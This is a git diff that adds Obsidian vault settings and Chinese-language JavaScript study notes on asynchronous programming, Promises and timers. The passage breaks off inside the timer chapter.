diff --git a/.obsidian/app.json b/.obsidian/app.json
new file mode 100644
index 0000000..7978956
--- /dev/null
+++ b/.obsidian/app.json
@@ -0,0 +1,4 @@
+{
+ "alwaysUpdateLinks": true,
+ "attachmentFolderPath": "./"
+}
\ No newline at end of file
diff --git a/.obsidian/appearance.json b/.obsidian/appearance.json
new file mode 100644
index 0000000..c410cc3
--- /dev/null
+++ b/.obsidian/appearance.json
@@ -0,0 +1,4 @@
+{
+ "accentColor": "",
+ "baseFontSize": 16
+}
\ No newline at end of file
diff --git a/.obsidian/core-plugins-migration.json b/.obsidian/core-plugins-migration.json
new file mode 100644
index 0000000..eeec36c
--- /dev/null
+++ b/.obsidian/core-plugins-migration.json
@@ -0,0 +1,29 @@
+{
+ "file-explorer": true,
+ "global-search": true,
+ "switcher": true,
+ "graph": true,
+ "backlink": true,
+ "canvas": true,
+ "outgoing-link": true,
+ "tag-pane": true,
+ "page-preview": true,
+ "daily-notes": true,
+ "templates": true,
+ "note-composer": true,
+ "command-palette": true,
+ "slash-command": false,
+ "editor-status": true,
+ "bookmarks": true,
+ "markdown-importer": false,
+ "zk-prefixer": false,
+ "random-note": false,
+ "outline": true,
+ "word-count": true,
+ "slides": false,
+ "audio-recorder": false,
+ "workspaces": true,
+ "file-recovery": true,
+ "publish": false,
+ "sync": false
+}
\ No newline at end of file
diff --git a/.obsidian/core-plugins.json b/.obsidian/core-plugins.json
new file mode 100644
index 0000000..24086d1
--- /dev/null
+++ b/.obsidian/core-plugins.json
@@ -0,0 +1,21 @@
+[
+ "file-explorer",
+ "global-search",
+ "switcher",
+ "graph",
+ "backlink",
+ "canvas",
+ "outgoing-link",
+ "tag-pane",
+ "page-preview",
+ "daily-notes",
+ "templates",
+ "note-composer",
+ "command-palette",
+ "editor-status",
+ "bookmarks",
+ "outline",
+ "word-count",
+ "workspaces",
+ "file-recovery"
+]
\ No newline at end of file
diff --git a/.obsidian/graph.json b/.obsidian/graph.json
new file mode 100644
index 0000000..87f9cc4
--- /dev/null
+++ b/.obsidian/graph.json
@@ -0,0 +1,22 @@
+{
+ "collapse-filter": false,
+ "search": "",
+ "showTags": false,
+ "showAttachments": false,
+ "hideUnresolved": false,
+ "showOrphans": true,
+ "collapse-color-groups": true,
+ "colorGroups": [],
+ "collapse-display": true,
+ "showArrow": false,
+ "textFadeMultiplier": 0,
+ "nodeSizeMultiplier": 1,
+ "lineSizeMultiplier": 1,
+ "collapse-forces": true,
+ "centerStrength": 0.518713248970312,
+ "repelStrength": 10,
+ "linkStrength": 1,
+ "linkDistance": 250,
+ "scale": 1.0000000000000018,
+ "close": false
+}
\ No newline at end of file
diff --git a/.obsidian/hotkeys.json b/.obsidian/hotkeys.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/.obsidian/hotkeys.json
@@ -0,0 +1 @@
+{}
\ No newline at end of file
diff --git a/.obsidian/workspace.json b/.obsidian/workspace.json
new file mode 100644
index 0000000..13190ea
--- /dev/null
+++ b/.obsidian/workspace.json
@@ -0,0 +1,189 @@
+{
+ "main": {
+ "id": "2752230ab10eb3e9",
+ "type": "split",
+ "children": [
+ {
+ "id": "8afffafd02369515",
+ "type": "tabs",
+ "children": [
+ {
+ "id": "5df856ba3f2405af",
+ "type": "leaf",
+ "state": {
+ "type": "markdown",
+ "state": {
+ "file": "note/types/function.md",
+ "mode": "source",
+ "source": false
+ }
+ }
+ }
+ ]
+ }
+ ],
+ "direction": "vertical"
+ },
+ "left": {
+ "id": "be7317121688004d",
+ "type": "split",
+ "children": [
+ {
+ "id": "940dd4b5b78bf239",
+ "type": "tabs",
+ "children": [
+ {
+ "id": "fbcb730f14b58b85",
+ "type": "leaf",
+ "state": {
+ "type": "file-explorer",
+ "state": {
+ "sortOrder": "alphabetical"
+ }
+ }
+ },
+ {
+ "id": "02bae94ef0572ccc",
+ "type": "leaf",
+ "state": {
+ "type": "search",
+ "state": {
+ "query": "",
+ "matchingCase": false,
+ "explainSearch": false,
+ "collapseAll": false,
+ "extraContext": false,
+ "sortOrder": "alphabetical"
+ }
+ }
+ },
+ {
+ "id": "9c9b5626b1967c38",
+ "type": "leaf",
+ "state": {
+ "type": "bookmarks",
+ "state": {}
+ }
+ }
+ ]
+ }
+ ],
+ "direction": "horizontal",
+ "width": 300
+ },
+ "right": {
+ "id": "8977ab2b65fc47b6",
+ "type": "split",
+ "children": [
+ {
+ "id": "439e4be6dfb2325c",
+ "type": "tabs",
+ "children": [
+ {
+ "id": "332bf88658bee0a1",
+ "type": "leaf",
+ "state": {
+ "type": "backlink",
+ "state": {
+ "file": "note/types/function.md",
+ "collapseAll": false,
+ "extraContext": false,
+ "sortOrder": "alphabetical",
+ "showSearch": false,
+ "searchQuery": "",
+ "backlinkCollapsed": false,
+ "unlinkedCollapsed": true
+ }
+ }
+ },
+ {
+ "id": "5c98a5b4332673da",
+ "type": "leaf",
+ "state": {
+ "type": "outgoing-link",
+ "state": {
+ "file": "note/types/function.md",
+ "linksCollapsed": false,
+ "unlinkedCollapsed": true
+ }
+ }
+ },
+ {
+ "id": "9d77a7b6e1ebbc4d",
+ "type": "leaf",
+ "state": {
+ "type": "tag",
+ "state": {
+ "sortOrder": "frequency",
+ "useHierarchy": true
+ }
+ }
+ },
+ {
+ "id": "bf71c27e15d5e435",
+ "type": "leaf",
+ "state": {
+ "type": "outline",
+ "state": {
+ "file": "note/types/function.md"
+ }
+ }
+ }
+ ],
+ "currentTab": 3
+ }
+ ],
+ "direction": "horizontal",
+ "width": 300
+ },
+ "left-ribbon": {
+ "hiddenItems": {
+ "switcher:打开快速切换": false,
+ "graph:查看关系图谱": false,
+ "canvas:新建白板": false,
+ "daily-notes:打开/创建今天的日记": false,
+ "templates:插入模板": false,
+ "command-palette:打开命令面板": false,
+ "workspaces:管理工作区布局": false
+ }
+ },
+ "active": "5df856ba3f2405af",
+ "lastOpenFiles": [
+ "note/types/string.md",
+ "note/types/general.md",
+ "note/types/object.md",
+ "docs/types/number.md",
+ "note/types/function.md",
+ "note/types/number.md",
+ "docs/operators/bit.md",
+ "note/types/null-undefined-boolean.md",
+ "note/basic/grammar.md",
+ "docs/basic/grammar.md",
+ "docs/types/general.md",
+ "README.md",
+ "note/basic/introduction.md",
+ "note/basic/history.md",
+ "note/dom/document.md",
+ "note/preface.md",
+ "note/types/array.md",
+ "note/types",
+ "note/stdlib/wrapper.md",
+ "note/stdlib/string.md",
+ "note/stdlib/regexp.md",
+ "note/stdlib/object.md",
+ "note/stdlib/number.md",
+ "note/stdlib/math.md",
+ "note/stdlib/json.md",
+ "note/stdlib/date.md",
+ "note/stdlib/attributes.md",
+ "note/stdlib",
+ "note/operators",
+ "note/oop",
+ "note/features",
+ "note/events",
+ "note/elements",
+ "note/dom",
+ "note/bom",
+ "note/basic"
+ ]
+}
\ No newline at end of file
diff --git a/.obsidian/workspaces.json b/.obsidian/workspaces.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/.obsidian/workspaces.json
@@ -0,0 +1 @@
+{}
\ No newline at end of file
diff --git a/README.md b/README.md
index b3f09b2..8833d1b 100644
--- a/README.md
+++ b/README.md
@@ -6,3 +6,5 @@
JavaScript 后续新增的 ES6 语法,请看[《ES6 标准入门教程》](https://wangdoc.com/es6/)。
+Menma:note文件夹里是我觉得自己需要review的内容。20230516
+
diff --git a/note/async/general.md b/note/async/general.md
new file mode 100644
index 0000000..a4c9747
--- /dev/null
+++ b/note/async/general.md
@@ -0,0 +1,287 @@
+# 异步操作概述
+
+## 单线程模型
+
+单线程模型指的是,JavaScript 只在一个线程上运行。也就是说,JavaScript 同时只能执行一个任务,其他任务都必须在后面排队等待。
+
+注意,JavaScript 只在一个线程上运行,不代表 JavaScript 引擎只有一个线程。事实上,JavaScript 引擎有多个线程,单个脚本只能在一个线程上运行(称为主线程),其他线程都是在后台配合。
+
+JavaScript 之所以采用单线程,而不是多线程,跟历史有关系。JavaScript 从诞生起就是单线程,原因是不想让浏览器变得太复杂,因为多线程需要共享资源、且有可能修改彼此的运行结果,对于一种网页脚本语言来说,这就太复杂了。如果 JavaScript 同时有两个线程,一个线程在网页 DOM 节点上添加内容,另一个线程删除了这个节点,这时浏览器应该以哪个线程为准?是不是还要有锁机制?所以,为了避免复杂性,JavaScript 一开始就是单线程,这已经成了这门语言的核心特征,将来也不会改变。
+
+这种模式的好处是实现起来比较简单,执行环境相对单纯;坏处是只要有一个任务耗时很长,后面的任务都必须排队等着,会拖延整个程序的执行。常见的浏览器无响应(假死),往往就是因为某一段 JavaScript 代码长时间运行(比如死循环),导致整个页面卡在这个地方,其他任务无法执行。JavaScript 语言本身并不慢,慢的是读写外部数据,比如等待 Ajax 请求返回结果。这个时候,如果对方服务器迟迟没有响应,或者网络不通畅,就会导致脚本的长时间停滞。
+
+如果排队是因为计算量大,CPU 忙不过来,倒也算了,但是很多时候 CPU 是闲着的,因为 IO 操作(输入输出)很慢(比如 Ajax 操作从网络读取数据),不得不等着结果出来,再往下执行。JavaScript 语言的设计者意识到,这时 CPU 完全可以不管 IO 操作,挂起处于等待中的任务,先运行排在后面的任务。等到 IO 操作返回了结果,再回过头,把挂起的任务继续执行下去。这种机制就是 JavaScript 内部采用的“事件循环”机制(Event Loop)。
+
+单线程模型虽然对 JavaScript 构成了很大的限制,但也因此使它具备了其他语言不具备的优势。如果用得好,JavaScript 程序是不会出现堵塞的,这就是 Node.js 可以用很少的资源,应付大流量访问的原因。
+
+为了利用多核 CPU 的计算能力,HTML5 提出 Web Worker 标准,允许 JavaScript 脚本创建多个线程,但是子线程完全受主线程控制,且不得操作 DOM。所以,这个新标准并没有改变 JavaScript 单线程的本质。
+
+## 同步任务和异步任务
+
+程序里面所有的任务,可以分成两类:同步任务(synchronous)和异步任务(asynchronous)。
+
+同步任务是那些没有被引擎挂起、在主线程上排队执行的任务。只有前一个任务执行完毕,才能执行后一个任务。
+
+异步任务是那些被引擎放在一边,不进入主线程、而进入任务队列的任务。只有引擎认为某个异步任务可以执行了(比如 Ajax 操作从服务器得到了结果),该任务(采用回调函数的形式)才会进入主线程执行。排在异步任务后面的代码,不用等待异步任务结束会马上运行,也就是说,异步任务不具有“堵塞”效应。
+
+举例来说,Ajax 操作可以当作同步任务处理,也可以当作异步任务处理,由开发者决定。如果是同步任务,主线程就等着 Ajax 操作返回结果,再往下执行;如果是异步任务,主线程在发出 Ajax 请求以后,就直接往下执行,等到 Ajax 操作有了结果,主线程再执行对应的回调函数。
+
+## 任务队列和事件循环
+
+JavaScript 运行时,除了一个正在运行的主线程,引擎还提供一个任务队列(task queue),里面是各种需要当前程序处理的异步任务。(实际上,根据异步任务的类型,存在多个任务队列。为了方便理解,这里假设只存在一个队列。)
+
+首先,主线程会去执行所有的同步任务。等到同步任务全部执行完,就会去看任务队列里面的异步任务。如果满足条件,那么异步任务就重新进入主线程开始执行,这时它就变成同步任务了。等到执行完,下一个异步任务再进入主线程开始执行。一旦任务队列清空,程序就结束执行。
+
+异步任务的写法通常是回调函数。一旦异步任务重新进入主线程,就会执行对应的回调函数。如果一个异步任务没有回调函数,就不会进入任务队列,也就是说,不会重新进入主线程,因为没有用回调函数指定下一步的操作。
+
+JavaScript 引擎怎么知道异步任务有没有结果,能不能进入主线程呢?答案就是引擎在不停地检查,一遍又一遍,只要同步任务执行完了,引擎就会去检查那些挂起来的异步任务,是不是可以进入主线程了。这种循环检查的机制,就叫做事件循环(Event Loop)。[维基百科](http://en.wikipedia.org/wiki/Event_loop)的定义是:“事件循环是一个程序结构,用于等待和发送消息和事件(a programming construct that waits for and dispatches events or messages in a program)”。
+
+## 异步操作的模式
+
+下面总结一下异步操作的几种模式。
+
+### 回调函数
+
+回调函数是异步操作最基本的方法。
+
+下面是两个函数`f1`和`f2`,编程的意图是`f2`必须等到`f1`执行完成,才能执行。
+
+```javascript
+function f1() {
+ // ...
+}
+
+function f2() {
+ // ...
+}
+
+f1();
+f2();
+```
+
+上面代码的问题在于,如果`f1`是异步操作,`f2`会立即执行,不会等到`f1`结束再执行。
+
+这时,可以考虑改写`f1`,把`f2`写成`f1`的回调函数。
+
+```javascript
+function f1(callback) {
+ // ...
+ callback();
+}
+
+function f2() {
+ // ...
+}
+
+f1(f2);
+```
+
+回调函数的优点是简单、容易理解和实现,缺点是不利于代码的阅读和维护,各个部分之间高度[耦合](http://en.wikipedia.org/wiki/Coupling_(computer_programming))(coupling),使得程序结构混乱、流程难以追踪(尤其是多个回调函数嵌套的情况),而且每个任务只能指定一个回调函数。
+
+### 事件监听
+
+另一种思路是采用事件驱动模式。异步任务的执行不取决于代码的顺序,而取决于某个事件是否发生。
+
+还是以`f1`和`f2`为例。首先,为`f1`绑定一个事件(这里采用的 jQuery 的[写法](http://api.jquery.com/on/))。
+
+```javascript
+f1.on('done', f2);
+```
+
+上面这行代码的意思是,当`f1`发生`done`事件,就执行`f2`。然后,对`f1`进行改写:
+
+```javascript
+function f1() {
+ setTimeout(function () {
+ // ...
+ f1.trigger('done');
+ }, 1000);
+}
+```
+
+上面代码中,`f1.trigger('done')`表示,执行完成后,立即触发`done`事件,从而开始执行`f2`。
+
+这种方法的优点是比较容易理解,可以绑定多个事件,每个事件可以指定多个回调函数,而且可以“[去耦合](http://en.wikipedia.org/wiki/Decoupling)”(decoupling),有利于实现模块化。缺点是整个程序都要变成事件驱动型,运行流程会变得很不清晰。阅读代码的时候,很难看出主流程。
+
+### 发布/订阅
+
+事件完全可以理解成“信号”,如果存在一个“信号中心”,某个任务执行完成,就向信号中心“发布”(publish)一个信号,其他任务可以向信号中心“订阅”(subscribe)这个信号,从而知道什么时候自己可以开始执行。这就叫做”[发布/订阅模式](http://en.wikipedia.org/wiki/Publish-subscribe_pattern)”(publish-subscribe pattern),又称“[观察者模式](http://en.wikipedia.org/wiki/Observer_pattern)”(observer pattern)。
+
+这个模式有多种[实现](http://msdn.microsoft.com/en-us/magazine/hh201955.aspx),下面采用的是 Ben Alman 的 [Tiny Pub/Sub](https://gist.github.com/661855),这是 jQuery 的一个插件。
+
+首先,`f2`向信号中心`jQuery`订阅`done`信号。
+
+```javascript
+jQuery.subscribe('done', f2);
+```
+
+然后,`f1`进行如下改写。
+
+```javascript
+function f1() {
+ setTimeout(function () {
+ // ...
+ jQuery.publish('done');
+ }, 1000);
+}
+```
+
+上面代码中,`jQuery.publish('done')`的意思是,`f1`执行完成后,向信号中心`jQuery`发布`done`信号,从而引发`f2`的执行。
+
+`f2`完成执行后,可以取消订阅(unsubscribe)。
+
+```javascript
+jQuery.unsubscribe('done', f2);
+```
+
+这种方法的性质与“事件监听”类似,但是明显优于后者。因为可以通过查看“消息中心”,了解存在多少信号、每个信号有多少订阅者,从而监控程序的运行。
+
+## 异步操作的流程控制
+
+如果有多个异步操作,就存在一个流程控制的问题:如何确定异步操作执行的顺序,以及如何保证遵守这种顺序。
+
+```javascript
+function async(arg, callback) {
+ console.log('参数为 ' + arg +' , 1秒后返回结果');
+ setTimeout(function () { callback(arg * 2); }, 1000);
+}
+```
+
+上面代码的`async`函数是一个异步任务,非常耗时,每次执行需要1秒才能完成,然后再调用回调函数。
+
+如果有六个这样的异步任务,需要全部完成后,才能执行最后的`final`函数。请问应该如何安排操作流程?
+
+```javascript
+function final(value) {
+ console.log('完成: ', value);
+}
+
+async(1, function (value) {
+ async(2, function (value) {
+ async(3, function (value) {
+ async(4, function (value) {
+ async(5, function (value) {
+ async(6, final);
+ });
+ });
+ });
+ });
+});
+// 参数为 1 , 1秒后返回结果
+// 参数为 2 , 1秒后返回结果
+// 参数为 3 , 1秒后返回结果
+// 参数为 4 , 1秒后返回结果
+// 参数为 5 , 1秒后返回结果
+// 参数为 6 , 1秒后返回结果
+// 完成: 12
+```
+
+上面代码中,六个回调函数的嵌套,不仅写起来麻烦,容易出错,而且难以维护。
+
+### 串行执行
+
+我们可以编写一个流程控制函数,让它来控制异步任务,一个任务完成以后,再执行另一个。这就叫串行执行。
+
+```javascript
+var items = [ 1, 2, 3, 4, 5, 6 ];
+var results = [];
+
+function async(arg, callback) {
+ console.log('参数为 ' + arg +' , 1秒后返回结果');
+ setTimeout(function () { callback(arg * 2); }, 1000);
+}
+
+function final(value) {
+ console.log('完成: ', value);
+}
+
+function series(item) {
+ if(item) {
+ async( item, function(result) {
+ results.push(result);
+ return series(items.shift());
+ });
+ } else {
+ return final(results[results.length - 1]);
+ }
+}
+
+series(items.shift());
+```
+
+上面代码中,函数`series`就是串行函数,它会依次执行异步任务,所有任务都完成后,才会执行`final`函数。`items`数组保存每一个异步任务的参数,`results`数组保存每一个异步任务的运行结果。
+
+注意,上面的写法需要六秒,才能完成整个脚本。
+
+### 并行执行
+
+流程控制函数也可以是并行执行,即所有异步任务同时执行,等到全部完成以后,才执行`final`函数。
+
+```javascript
+var items = [ 1, 2, 3, 4, 5, 6 ];
+var results = [];
+
+function async(arg, callback) {
+ console.log('参数为 ' + arg +' , 1秒后返回结果');
+ setTimeout(function () { callback(arg * 2); }, 1000);
+}
+
+function final(value) {
+ console.log('完成: ', value);
+}
+
+items.forEach(function(item) {
+ async(item, function(result){
+ results.push(result);
+ if(results.length === items.length) {
+ final(results[results.length - 1]);
+ }
+ })
+});
+```
+
+上面代码中,`forEach`方法会同时发起六个异步任务,等到它们全部完成以后,才会执行`final`函数。
+
+相比而言,上面的写法只要一秒,就能完成整个脚本。这就是说,并行执行的效率较高,比起串行执行一次只能执行一个任务,较为节约时间。但是问题在于如果并行的任务较多,很容易耗尽系统资源,拖慢运行速度。因此有了第三种流程控制方式。
+
+### 并行与串行的结合
+
+所谓并行与串行的结合,就是设置一个门槛,每次最多只能并行执行`n`个异步任务,这样就避免了过分占用系统资源。
+
+```javascript
+var items = [ 1, 2, 3, 4, 5, 6 ];
+var results = [];
+var running = 0;
+var limit = 2;
+
+function async(arg, callback) {
+ console.log('参数为 ' + arg +' , 1秒后返回结果');
+ setTimeout(function () { callback(arg * 2); }, 1000);
+}
+
+function final(value) {
+ console.log('完成: ', value);
+}
+
+function launcher() {
+ while(running < limit && items.length > 0) {
+ var item = items.shift();
+ async(item, function(result) {
+ results.push(result);
+ running--;
+ if(items.length > 0) {
+ launcher();
+ } else if(running == 0) {
+ final(results);
+ }
+ });
+ running++;
+ }
+}
+
+launcher();
+```
+
+上面代码中,最多只能同时运行两个异步任务。变量`running`记录当前正在运行的任务数,只要低于门槛值,就再启动一个新的任务,如果等于`0`,就表示所有任务都执行完了,这时就执行`final`函数。
+
+这段代码需要三秒完成整个脚本,处在串行执行和并行执行之间。通过调节`limit`变量,达到效率和资源的最佳平衡。
diff --git a/note/async/promise.md b/note/async/promise.md
new file mode 100644
index 0000000..cb629d7
--- /dev/null
+++ b/note/async/promise.md
@@ -0,0 +1,283 @@
+# Promise 对象
+
+## 概述
+
+Promise 对象是 JavaScript 的异步操作解决方案,为异步操作提供统一接口。它起到代理作用(proxy),充当异步操作与回调函数之间的中介,使得异步操作具备同步操作的接口。Promise 可以让异步操作写起来,就像在写同步操作的流程,而不必一层层地嵌套回调函数。
+
+注意,本章只是 Promise 对象的简单介绍。为了避免与后续教程的重复,更完整的介绍请看[《ES6 标准入门》](http://es6.ruanyifeng.com/)的[《Promise 对象》](http://es6.ruanyifeng.com/#docs/promise)一章。
+
+首先,Promise 是一个对象,也是一个构造函数。
+
+```javascript
+function f1(resolve, reject) {
+ // 异步代码...
+}
+
+var p1 = new Promise(f1);
+```
+
+上面代码中,`Promise`构造函数接受一个回调函数`f1`作为参数,`f1`里面是异步操作的代码。然后,返回的`p1`就是一个 Promise 实例。
+
+Promise 的设计思想是,所有异步任务都返回一个 Promise 实例。Promise 实例有一个`then`方法,用来指定下一步的回调函数。
+
+```javascript
+var p1 = new Promise(f1);
+p1.then(f2);
+```
+
+上面代码中,`f1`的异步操作执行完成,就会执行`f2`。
+
+传统的写法可能需要把`f2`作为回调函数传入`f1`,比如写成`f1(f2)`,异步操作完成后,在`f1`内部调用`f2`。Promise 使得`f1`和`f2`变成了链式写法。不仅改善了可读性,而且对于多层嵌套的回调函数尤其方便。
+
+```javascript
+// 传统写法
+step1(function (value1) {
+ step2(value1, function(value2) {
+ step3(value2, function(value3) {
+ step4(value3, function(value4) {
+ // ...
+ });
+ });
+ });
+});
+
+// Promise 的写法
+(new Promise(step1))
+ .then(step2)
+ .then(step3)
+ .then(step4);
+```
+
+从上面代码可以看到,采用 Promises 以后,程序流程变得非常清楚,十分易读。注意,为了便于理解,上面代码的`Promise`实例的生成格式,做了简化,真正的语法请参照下文。
+
+总的来说,传统的回调函数写法使得代码混成一团,变得横向发展而不是向下发展。Promise 就是解决这个问题,使得异步流程可以写成同步流程。
+
+Promise 原本只是社区提出的一个构想,一些函数库率先实现了这个功能。ECMAScript 6 将其写入语言标准,目前 JavaScript 原生支持 Promise 对象。
+
+## Promise 对象的状态
+
+Promise 对象通过自身的状态,来控制异步操作。Promise 实例具有三种状态。
+
+- 异步操作未完成(pending)
+- 异步操作成功(fulfilled)
+- 异步操作失败(rejected)
+
+上面三种状态里面,`fulfilled`和`rejected`合在一起称为`resolved`(已定型)。
+
+这三种的状态的变化途径只有两种。
+
+- 从“未完成”到“成功”
+- 从“未完成”到“失败”
+
+一旦状态发生变化,就凝固了,不会再有新的状态变化。这也是 Promise 这个名字的由来,它的英语意思是“承诺”,一旦承诺成效,就不得再改变了。这也意味着,Promise 实例的状态变化只可能发生一次。
+
+因此,Promise 的最终结果只有两种。
+
+- 异步操作成功,Promise 实例传回一个值(value),状态变为`fulfilled`。
+- 异步操作失败,Promise 实例抛出一个错误(error),状态变为`rejected`。
+
+## Promise 构造函数
+
+JavaScript 提供原生的`Promise`构造函数,用来生成 Promise 实例。
+
+```javascript
+var promise = new Promise(function (resolve, reject) {
+ // ...
+
+ if (/* 异步操作成功 */){
+ resolve(value);
+ } else { /* 异步操作失败 */
+ reject(new Error());
+ }
+});
+```
+
+上面代码中,`Promise`构造函数接受一个函数作为参数,该函数的两个参数分别是`resolve`和`reject`。它们是两个函数,由 JavaScript 引擎提供,不用自己实现。
+
+`resolve`函数的作用是,将`Promise`实例的状态从“未完成”变为“成功”(即从`pending`变为`fulfilled`),在异步操作成功时调用,并将异步操作的结果,作为参数传递出去。`reject`函数的作用是,将`Promise`实例的状态从“未完成”变为“失败”(即从`pending`变为`rejected`),在异步操作失败时调用,并将异步操作报出的错误,作为参数传递出去。
+
+下面是一个例子。
+
+```javascript
+function timeout(ms) {
+ return new Promise((resolve, reject) => {
+ setTimeout(resolve, ms, 'done');
+ });
+}
+
+timeout(100)
+```
+
+上面代码中,`timeout(100)`返回一个 Promise 实例。100毫秒以后,该实例的状态会变为`fulfilled`。
+
+## Promise.prototype.then()
+
+Promise 实例的`then`方法,用来添加回调函数。
+
+`then`方法可以接受两个回调函数,第一个是异步操作成功时(变为`fulfilled`状态)的回调函数,第二个是异步操作失败(变为`rejected`)时的回调函数(该参数可以省略)。一旦状态改变,就调用相应的回调函数。
+
+```javascript
+var p1 = new Promise(function (resolve, reject) {
+ resolve('成功');
+});
+p1.then(console.log, console.error);
+// "成功"
+
+var p2 = new Promise(function (resolve, reject) {
+ reject(new Error('失败'));
+});
+p2.then(console.log, console.error);
+// Error: 失败
+```
+
+上面代码中,`p1`和`p2`都是Promise 实例,它们的`then`方法绑定两个回调函数:成功时的回调函数`console.log`,失败时的回调函数`console.error`(可以省略)。`p1`的状态变为成功,`p2`的状态变为失败,对应的回调函数会收到异步操作传回的值,然后在控制台输出。
+
+`then`方法可以链式使用。
+
+```javascript
+p1
+ .then(step1)
+ .then(step2)
+ .then(step3)
+ .then(
+ console.log,
+ console.error
+ );
+```
+
+上面代码中,`p1`后面有四个`then`,意味依次有四个回调函数。只要前一步的状态变为`fulfilled`,就会依次执行紧跟在后面的回调函数。
+
+最后一个`then`方法,回调函数是`console.log`和`console.error`,用法上有一点重要的区别。`console.log`只显示`step3`的返回值,而`console.error`可以显示`p1`、`step1`、`step2`、`step3`之中任意一个发生的错误。举例来说,如果`step1`的状态变为`rejected`,那么`step2`和`step3`都不会执行了(因为它们是`resolved`的回调函数)。Promise 开始寻找,接下来第一个为`rejected`的回调函数,在上面代码中是`console.error`。这就是说,Promise 对象的报错具有传递性。
+
+## then() 用法辨析
+
+Promise 的用法,简单说就是一句话:使用`then`方法添加回调函数。但是,不同的写法有一些细微的差别,请看下面四种写法,它们的差别在哪里?
+
+```javascript
+// 写法一
+f1().then(function () {
+ return f2();
+});
+
+// 写法二
+f1().then(function () {
+ f2();
+});
+
+// 写法三
+f1().then(f2());
+
+// 写法四
+f1().then(f2);
+```
+
+为了便于讲解,下面这四种写法都再用`then`方法接一个回调函数`f3`。写法一的`f3`回调函数的参数,是`f2`函数的运行结果。
+
+```javascript
+f1().then(function () {
+ return f2();
+}).then(f3);
+```
+
+写法二的`f3`回调函数的参数是`undefined`。
+
+```javascript
+f1().then(function () {
+ f2();
+ return;
+}).then(f3);
+```
+
+写法三的`f3`回调函数的参数,是`f2`函数返回的函数的运行结果。
+
+```javascript
+f1().then(f2())
+ .then(f3);
+```
+
+写法四与写法一只有一个差别,那就是`f2`会接收到`f1()`返回的结果。
+
+```javascript
+f1().then(f2)
+ .then(f3);
+```
+
+## 实例:图片加载
+
+下面是使用 Promise 完成图片的加载。
+
+```javascript
+var preloadImage = function (path) {
+ return new Promise(function (resolve, reject) {
+ var image = new Image();
+ image.onload = resolve;
+ image.onerror = reject;
+ image.src = path;
+ });
+};
+```
+
+上面代码中,`image`是一个图片对象的实例。它有两个事件监听属性,`onload`属性在图片加载成功后调用,`onerror`属性在加载失败调用。
+
+上面的`preloadImage()`函数用法如下。
+
+```javascript
+preloadImage('https://example.com/my.jpg')
+ .then(function (e) { document.body.append(e.target) })
+ .then(function () { console.log('加载成功') })
+```
+
+上面代码中,图片加载成功以后,`onload`属性会返回一个事件对象,因此第一个`then()`方法的回调函数,会接收到这个事件对象。该对象的`target`属性就是图片加载后生成的 DOM 节点。
+
+## 小结
+
+Promise 的优点在于,让回调函数变成了规范的链式写法,程序流程可以看得很清楚。它有一整套接口,可以实现许多强大的功能,比如同时执行多个异步操作,等到它们的状态都改变以后,再执行一个回调函数;再比如,为多个回调函数中抛出的错误,统一指定处理方法等等。
+
+而且,Promise 还有一个传统写法没有的好处:它的状态一旦改变,无论何时查询,都能得到这个状态。这意味着,无论何时为 Promise 实例添加回调函数,该函数都能正确执行。所以,你不用担心是否错过了某个事件或信号。如果是传统写法,通过监听事件来执行回调函数,一旦错过了事件,再添加回调函数是不会执行的。
+
+Promise 的缺点是,编写的难度比传统写法高,而且阅读代码也不是一眼可以看懂。你只会看到一堆`then`,必须自己在`then`的回调函数里面理清逻辑。
+
+## 微任务
+
+Promise 的回调函数属于异步任务,会在同步任务之后执行。
+
+```javascript
+new Promise(function (resolve, reject) {
+ resolve(1);
+}).then(console.log);
+
+console.log(2);
+// 2
+// 1
+```
+
+上面代码会先输出2,再输出1。因为`console.log(2)`是同步任务,而`then`的回调函数属于异步任务,一定晚于同步任务执行。
+
+但是,Promise 的回调函数不是正常的异步任务,而是微任务(microtask)。它们的区别在于,正常任务追加到下一轮事件循环,微任务追加到本轮事件循环。这意味着,微任务的执行时间一定早于正常任务。
+
+```javascript
+setTimeout(function() {
+ console.log(1);
+}, 0);
+
+new Promise(function (resolve, reject) {
+ resolve(2);
+}).then(console.log);
+
+console.log(3);
+// 3
+// 2
+// 1
+```
+
+上面代码的输出结果是`321`。这说明`then`的回调函数的执行时间,早于`setTimeout(fn, 0)`。因为`then`是本轮事件循环执行,`setTimeout(fn, 0)`在下一轮事件循环开始时执行。
+
+## 参考链接
+
+- Sebastian Porto, [Asynchronous JS: Callbacks, Listeners, Control Flow Libs and Promises](https://sporto.github.io/blog/2012/12/09/callbacks-listeners-promises/)
+- Rhys Brett-Bowen, [Promises/A+ - understanding the spec through implementation](http://modernjavascript.blogspot.com/2013/08/promisesa-understanding-by-doing.html)
+- Matt Podwysocki, Amanda Silver, [Asynchronous Programming in JavaScript with “Promises”](http://blogs.msdn.com/b/ie/archive/2011/09/11/asynchronous-programming-in-javascript-with-promises.aspx)
+- Marc Harter, [Promise A+ Implementation](https://gist.github.com//wavded/5692344)
+- Bryan Klimt, [What’s so great about JavaScript Promises?](http://blog.parse.com/2013/01/29/whats-so-great-about-javascript-promises/)
+- Jake Archibald, [JavaScript Promises There and back again](http://www.html5rocks.com/en/tutorials/es6/promises/)
+- Mikito Takada, [7. Control flow, Mixu's Node book](http://book.mixu.net/node/ch7.html)
diff --git a/note/async/timer.md b/note/async/timer.md
new file mode 100644
index 0000000..3aa4ae9
--- /dev/null
+++ b/note/async/timer.md
@@ -0,0 +1,366 @@
+# 定时器
+
+JavaScript 提供定时执行代码的功能,叫做定时器(timer),主要由`setTimeout()`和`setInterval()`这两个函数来完成。它们向任务队列添加定时任务。
+
+## setTimeout()
+
+`setTimeout`函数用来指定某个函数或某段代码,在多少毫秒之后执行。它返回一个整数,表示定时器的编号,以后可以用来取消这个定时器。
+
+```javascript
+var timerId = setTimeout(func|code, delay);
+```
+
+上面代码中,`setTimeout`函数接受两个参数,第一个参数`func|code`是将要推迟执行的函数名或者一段代码,第二个参数`delay`是推迟执行的毫秒数。
+
+```javascript
+console.log(1);
+setTimeout('console.log(2)',1000);
+console.log(3);
+// 1
+// 3
+// 2
+```
+
+上面代码会先输出1和3,然后等待1000毫秒再输出2。注意,`console.log(2)`必须以字符串的形式,作为`setTimeout`的参数。
+
+如果推迟执行的是函数,就直接将函数名,作为`setTimeout`的参数。
+
+```javascript
+function f() {
+ console.log(2);
+}
+
+setTimeout(f, 1000);
+```
+
+`setTimeout`的第二个参数如果省略,则默认为0。
+
+```javascript
+setTimeout(f)
+// 等同于
